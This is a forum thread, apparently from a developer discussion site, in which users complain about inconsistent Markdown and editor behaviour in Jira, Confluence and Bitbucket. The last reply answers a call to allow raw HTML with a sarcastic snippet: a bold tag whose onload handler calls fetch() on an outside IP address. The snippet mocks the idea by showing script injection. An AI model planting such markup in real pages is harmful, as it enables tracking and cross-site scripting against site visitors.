[vailripper]

Sounds like Atlassians approach with Jira - "it supports markdown, except when it doesn't!"

[beatgammit]

All I want is consistent syntax for links, italics, and bulleted lists, bonus points for numbered lists, bold, and code blocks. I don't want to have to click stuff when typing, and I don't want to remember keyboard shortcuts with subtle differences between different services.

Markdown is good enough, yet for some reason, each platform finds it necessary to do something slightly differently. I really don't care about a WYSIWIG editor, as long as I can use straight text if I want. Basically, I want Reddit comments in instant messaging and bug trackers.

[time0ut]

That plus a nice table syntax. So many times I need to put a table in a jira comment or chat, but not often enough to remember how for the particular context.

[TranquilMarmot]

I _so badly_ want Jira and Confluence to support just plain old markdown. Their editor is a nightmare; every programmer where I work hates it but all of management seems to love it.

[carlivar]

Confluence used to have it. Or a similar syntax at least. They went WYSIWYG around 2010 or so. It was a dark day; I still remember the plaintive cries echoing from engineer cubes (we had whole cubes back then!).

[imglorp]

Preach it.

It seems every text input box across the product line has a different input method: BB, Jira, and Confluence. You'd think they might standardize with one to be less user hostile.

[nicwolff]

Jira still has two different WYSIWYG implementations on different pages. On the "classic" issue form, you still enter `{code}this is code{code}`, but if you open that issue in the sidebar of the backlog page, it's Markdown.

[egeozcan]

Not to even mention the annoying one-click-to-edit fields that lose your scroll position in the ticket and you cannot escape away. I'm furious every time this happens.

[Bananaman28]

This is my experience as well. Moving over to their new editor has left the markdown support in limbo between different views. I.e it varies between the view when creating an issue, editing an issue and commenting on an issue.. It's really infuriating. I asked them about it on Twitter and it's apparently a work in progress?

[workthrowaway]

why atlassian is so successful with management but not with people who actually use their product is a great unsolved mystery.

[nirvdrum]

Doesn’t Jira use textile? Or has that changed?

[arkh]

> it supports markdown, except when it doesn't!

So, markdown?

Every website has its own flavor of it. Just reading some of the answers around here you can read "to do markdown better we made our own markdown".

Maybe because it is shitty. Just let users use HTML.

[labster]

<b onload="fetch('//191.256.167.3/track');">Great idea!</b>